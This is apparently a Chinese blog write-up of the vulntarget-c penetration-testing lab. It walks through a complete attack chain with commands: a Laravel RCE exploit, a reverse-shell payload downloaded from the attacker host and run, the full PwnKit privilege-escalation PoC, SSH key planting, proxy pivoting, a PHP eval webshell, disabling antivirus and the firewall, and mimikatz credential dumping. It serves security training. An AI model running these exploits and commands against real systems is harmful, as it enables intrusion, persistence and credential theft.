Vulntarget靶场渗透之Vulntarget-c

本文最后更新于:2023年10月10日 下午

Vulntarget靶场渗透之Vulntarget-c

Writeup

vulntarget漏洞靶场系列(三)— vulntarget-c

网络拓扑:

图片

ubuntu20:root/root#qwe

win2016:

ubuntu16:

初始配置

ubuntu20靶机初始网络连接为静态连接,因此我们需要配置为dhcp才能正常访问,使用ip a,查看网络信息。

修改配置文件

1
vim /etc/netplan/00-installer-config.yaml

image-20220622135901500

启用配置文件

1
netplan apply

image-20220622135619549

image-20220622140021389

信息收集

端口扫描

1
nmap -p- -Pn -T4 192.168.56.133

image-20220622141703401

目录扫描

1
dirsearch -u http://192.168.56.133 -w /usr/share/wordlists/fuzzDicts/directoryDicts/Filenames_or_Directories_All.txt

image-20220623070908601

访问80端口,发现是Laravel框架,直接百度Laravel漏洞。

image-20220623065554257

Laravel getshell

搜索漏洞信息

1
searchsploit Laravel

image-20220623074243418

似乎searchsploit的exp有些问题,所以在github重新找了一个exp。

1
2
3
git clone https://github.com/SNCKER/CVE-2021-3129
cd CVE-2021-3129
git clone https://github.com/ambionics/phpggc.git(exp执行需要使用此工具)

修改exploit的目标信息为192.168.56.133,执行命令id。

image-20220623081330764

image-20220725141333885

反弹shell

生成木马

1
msfvenom -p linux/x64/shell_reverse_tcp  LHOST=192.168.56.105 LPORT=6666 -f elf -o 6666.elf

image-20220725165022023

遍历目录,可以看到网站目录为/var/www/html/public,也可以直接使用/tmp/下载木马,其他目录可能权限不足。

image-20220725160925680

获得shell。

1
python exploit.py "cd /tmp/&&wget http://192.168.56.105/6666.elf&&chmod 777 6666.elf&&./6666.elf"

image-20220725165140129

先给shell升级一下,用着好用。

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset

下载linpeas.sh简单查看一下信息

1
wget http://192.168.56.105/linpeas.sh&&chmod 777 ./linpeas.sh&&./linpeas.sh

image-20220725180501956

suid权限中发现pkexec文件。

SUID提权

使用pkexec.py提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
base64.b64decode(
"""eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoSkjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5GR9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mUSQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6zMTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0LDdrlV/yN1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gwnG5pHk0eO8bCbOWoB6XE+Qcf1ASJz9BHHmMupx/iLjuob9D3C8hzhrg7u9JOjnKJm5/4gk1I16XI+QcT3i7x9e/wtQ1oTlZX7G9ZDFLJhB/yLx7Zm4Zb8OrvMI/vn3cPpo2M95Lp7fFvQSpx8I+5lbhm7Rv8rpT4X93D6L/k1Oj/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4uIbfiQ9D/NUv7fwNC41U+"""
)
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

直接写入ssh公钥免密登录

1
2
wget http://192.168.56.105/id_rsa.pub 
cat id_rsa.pub >authorized_keys

image-20220725182705658

内网渗透

ipconfig可以看到存在内网ip

image-20220725202859029

添加路由

1
2
run autoroute -p 10.0.20.0/24
run post/multi/manage/autoroute

image-20220725203200989

代理转发

1
2
3
use auxiliary/server/socks_proxy
set svrhost 127.0.0.1
run

内网端口扫描

1
2
3
4
useauxiliary/scanner/portscan/tcp
set port 10.0.20.0/24
set threads 100
run

nmap扫描部分端口,节约时间

1
proxychains nmap -sT -p22,23,80,135,139,443,445,1433,3306,3389,8080 -Pn 10.0.20.0/24

发现10.0.20.100主机存货扫描端口信息。

1
sudo proxychains nmap -sT -Pn -p- 10.0.20.100

扫描出80和443端口。

由于msf的socks代理稳定性不大好,这里换用frp做代理

1
2
3
4
5
6
7
8
9
10
# 受害者
# vim ./frpc.ini
[common]
server_addr = 192.168.56.105 #服务端的IP地址
server_port = 7000 #服务端的端口

[socks_proxy]
type = tcp
remote_port = 1080 #socks端口
plugin = socks5
1
2
3
4
5
# 攻击者
# vim ./frpc.ini
[common]
bind_ip = 192.168.56.105 #kali IP,为与客户端绑定的进行通讯的地址
bind_port = 7000
1
2
./frpc -c ./frpc.ini
./frpc -c ./frpc.ini

Getshell

发现登录框,SQL注入检查

image-20220726103105129

1
sqlmap -u 'http://10.0.20.100:80/classes/Login.php?f=login' --data='username=admin&password=123' --cookie='PHPSESSID=kp9v9tia4egsgvjk0vf0bhm346' --proxy="socks5://127.0.0.1:1080" --batch

image-20220726122254975

NO!

暴力破解检查

爆出密码admin123,直接登录。

image-20220726124015630

经测试,在server list中发现可以sql注入漏洞。

image-20220726123851317

sqlmap一把梭

1
sqlmap -r post.txt --batch --os-shell --proxy="socks5://127.0.0.1:1080"

image-20220726124720571

whoami显示是windows主机,并且有系统权限,但还省得提权了。

image-20220726124937738

一句话木马写入,蚁剑连接。

1
echo ^<^?php $a = $_REQUEST['cmd'];$a = "$a";$b['test'] = "";eval($b['test']."$a");echo "error";?^>^ > shell.php

查看杀软

1
tasklist /scv

image-20220726152758796

将结果放到网站进行杀软查杀

1
http://payloads.net/kill_software/

发现存在微软Windows Defender。

image-20220726152735389

免杀上线。

生成源代码木马

1
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=10.0.20.100 lport=6666 -f hex -o 6666.hex

image-20220726162245627

上传gsl64.exe 和6666.hex,上线

1
gsl64.exe -f 6666.hex -hex

image-20220803122234640

成功进入。

域信息收集

关闭杀软

1
meterpreter> run killav

image-20220803124816181

关闭防火墙

1
2
3
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=disable
netsh advfirewall show allprofiles

image-20220803124913510

开启3389

1
2
3
4
5
6
7
8
9
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

netstat -ano | findstr "3389"

image-20220803125034919

mimikatz获取密码

1
2
3
load kiwi
hashdump
creds_all

image-20220803132038928

没有读取到密码,试着接一下hash。

image-20220803132237159

得到密码Admin#123,远程登陆成功。

image-20220803132826488

远程主机发现网络控制工具MobaXterm,输入本机密码,成功进入。

image-20220803132933650

ssh连接

MobaXterm查看密码:

image-20220803133620323

image-20220803133552200

image-20220803133527277

msf做代理,远程登陆主机,得到flag。


Vulntarget靶场渗透之Vulntarget-c
https://genioco.github.io/2023/08/09/hacking/Vulntarget靶场渗透之Vulntarget-c/
作者
BadWolf
发布于
2023年8月9日
许可协议